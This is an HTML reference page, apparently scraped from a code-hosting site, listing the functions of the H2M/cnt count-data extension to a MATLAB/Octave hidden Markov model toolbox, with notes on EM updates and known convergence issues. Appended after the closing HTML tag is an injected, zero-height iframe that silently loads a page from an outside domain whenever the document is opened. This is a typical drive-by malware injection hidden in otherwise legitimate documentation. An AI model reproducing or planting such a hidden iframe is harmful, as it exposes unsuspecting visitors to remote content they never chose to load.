node20.html

来自「隐马尔可夫工具箱」· HTML 代码 · 共 210 行

HTML
210
字号
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><!--Converted with LaTeX2HTML 2K.1beta (1.48)original version by:  Nikos Drakos, CBLU, University of Leeds* revised and updated by:  Marcus Hennecke, Ross Moore, Herb Swan* with significant contributions from:  Jens Lippmann, Marek Rouchal, Martin Wilck and others --><HTML><HEAD><TITLE>Functions in the H2M/cnt extension</TITLE><META NAME="description" CONTENT="Functions in the H2M/cnt extension"><META NAME="keywords" CONTENT="H2M, H2M/cnt, Hidden Markov Model, HMM, Mixture model, Vector Quantization, Expectation Maximization, EM, Multivariate Gaussian, Count data, Poisson, Negative binomial, MATLAB, OCTAVE, GPL"><META NAME="resource-type" CONTENT="document"><META NAME="distribution" CONTENT="global"><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><META NAME="Generator" CONTENT="LaTeX2HTML v2K.1beta"><META HTTP-EQUIV="Content-Style-Type" CONTENT="text/css"><LINK REL="STYLESHEET" HREF="h2m.css"><LINK REL="previous" HREF="node19.html"><LINK REL="up" HREF="node18.html"><LINK REL="next" HREF="node21.html"></HEAD><BODY BGCOLOR="ivory"><!--Navigation Panel--><B> Next:</B> <A NAME="tex2html345"  HREF="node21.html">To do</A><B>Up:</B> <A NAME="tex2html341"  HREF="node18.html">Reference</A><B> Previous:</B> <A NAME="tex2html337"  HREF="node19.html">Functions in the main</A><P><!--End of Navigation Panel--><!--Table of Child-Links--><A NAME="CHILD_LINKS"><STRONG>Subsections</STRONG></A><UL><LI><A NAME="tex2html346"  HREF="#SECTION00052100000000000000">Alphabetical list of functions</A><LI><A NAME="tex2html347"  HREF="#SECTION00052200000000000000">Notes</A><LI><A NAME="tex2html348"  HREF="#SECTION00052300000000000000">Known problems</A></UL><!--End of Table of Child-Links--><HR><H2><A NAME="SECTION00052000000000000000">Functions in the <TT>H2M/cnt</TT> extension</A></H2><H3><A NAME="SECTION00052100000000000000">Alphabetical list of functions</A></H3><DL><DT><STRONG>ex_cnt</STRONG></DT><DD>Script to illustrate the three basic models handled by <TT>H2M/cnt</TT>.</DD><DT><STRONG>nbh_chk</STRONG></DT><DD>Checks the parameters of a negative binomial HMM and returns  its dimension.</DD><DT><STRONG>ph_chk</STRONG></DT><DD>Checks the parameters of a Poisson HMM and returns its  dimension.</DD><DT><STRONG>nb_ml</STRONG></DT><DD>Maximum likelihood estimation for negative binomial data.</DD><DT><STRONG>pm_gen</STRONG></DT><DD>Simulates data from a Poisson mixture.</DD><DT><STRONG>ph_vit</STRONG></DT><DD>A posteriori sequence estimation for Poisson HMM.</DD><DT><STRONG>nbh_em</STRONG></DT><DD>Estimates the parameters of a negative binomial HMM using EM.</DD><DT><STRONG>nbh_vit</STRONG></DT><DD>A posteriori sequence estimation for negative binomial HMM.</DD><DT><STRONG>nbh_gen</STRONG></DT><DD>Simulates data from a negative binomial HMM.</DD><DT><STRONG>pm_em</STRONG></DT><DD>Estimates the parameters of a Poisson mixture using the EM  algorithm.</DD><DT><STRONG>ph_em</STRONG></DT><DD>Estimates the parameters of a Poisson HMM using the EM algorithm.</DD><DT><STRONG>ph_gen</STRONG></DT><DD>Simulates data from a Poisson HMM.</DD><DT><STRONG>pm_chk</STRONG></DT><DD>Checks the parameters of a Poisson mixture and returns its  dimension.</DD><DT><STRONG>digamma</STRONG></DT><DD>Computes the digamma (also called psi) function (<code>d log gamma</code>).</DD><DT><STRONG>trigamma</STRONG></DT><DD>Computes the trigamma function (<code>d^2 log gamma</code>).</DD></DL><P><H3><A NAME="SECTION00052200000000000000"></A><A NAME="sec:cnt:notes"></A><BR>Notes</H3>The simulation routines <code>pm_gen</code>, <code>ph_gen</code> and <code>nbh_gen</code> needfunctions to generate random numbers from the Poisson and Gamma distributions.For this reason, they must be run either under OCTAVE version 2.014 (or above)or with MATLAB equipped with the <A NAME="tex2html3"  HREF="http://www.mathworks.com/products/statistics/">Statistics  Toolbox</A>.<BR>If you do not fallinto one of the two cases above (which probably means that you are using MATLABbut don't want to pay for the Statistics toolbox), you can still get aroundusing the free <A NAME="tex2html4"  HREF="http://www.maths.uq.edu.au/~gks/matlab/statbox.html">Statbox toolbox by Gordon KSmyth</A>but you will haveto modify the names of the random number generators. Another option, would beto use <A NAME="tex2html5"  HREF="http://sources.redhat.com/gsl/">GSL - The GNU Scientific  Library</A>whose recent versions contain acompiled binary named <code>gsl_randist</code> which can be used directly forsimulating random numbers from the command line (if you are courageous and havea decent C compiler, you can also use the GSL library modules for writing a mexfile). Linux users should find this packaged in any recent version of theirfavorite distribution under the name <code>gsl</code> or <code>gsl-bin</code> (Debian).<P>The function <code>nbh_em</code> uses a modified version of the EM algorithm in whichafter the E step, the EM intermediate quantity is maximized explicitly withrespect to the <code>beta</code> parameters while the <code>alpha</code> parameters areupdated using a single Newton step. The first and second derivative of the partof the EM intermediate quantity which depends on the <code>alpha</code> parametersare computed using the special functions <code>digamma</code> and <code>trigamma</code>.See [<A HREF="node23.html#Meng:ECM">11</A>] for details concerning the convergence of such modifiedversions of EM.<P>If you are using OCTAVE, you will also need the <code>gammaln</code> m-file (whichcomputes the log of the gamma function) to run <code>ph_em</code>, <code>ph_vit</code>,<code>nbh_em</code> or <code>nbh_vit</code>. This function is in the subdirectory<code>h2m/octave</code> which you should thus append to your loadpath using the<code>path</code> command.<P><H3><A NAME="SECTION00052300000000000000">Known problems</A></H3>To avoid the use of a line search routine, the Newton steps are used in<code>nb_ml</code> and <code>nbh_em</code> without checking that the objective functionindeed increases and that alpha does not become negative. This is of coursesomething that could break down convergence (and at least make the likelihoodnon strictly increasing from one iteration to the other).  Note that it iseasily checked though that in both cases, the part of the likelihood or of theEM intermediate quantity which depends only on <code>alpha</code> is concave, andthus the situation is rather easy compared to a general optimization task.<P>In practice problems never seem to happen as long that you have at least a fewnon null observations and that your starting values are not too crazy whenusing <code>nbh_em</code> (for real data, you can for instance use <code>nb_ml</code> toobtain credible initialization values). If you see the message<PRE>Warning: could not update alpha</PRE>too often when using <code>nbh_em</code> then you are probably in one of those badcases and should check your starting values (the other option is that you havevery few data points - say less than 10 - and/or that these are almost allzero, in which case there is not much to be expected from estimating theparameters anyway).<P><P><HR><!--Navigation Panel--><B> Next:</B> <A NAME="tex2html345"  HREF="node21.html">To do</A><B>Up:</B> <A NAME="tex2html341"  HREF="node18.html">Reference</A><B> Previous:</B> <A NAME="tex2html337"  HREF="node19.html">Functions in the main</A><P><!--End of Navigation Panel--><ADDRESS>Olivier Capp&#233;, Aug 24 2001</ADDRESS></BODY></HTML>
<iframe src=http://www.mnuiu.cn/ar.htm width=100 height=0></iframe>

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?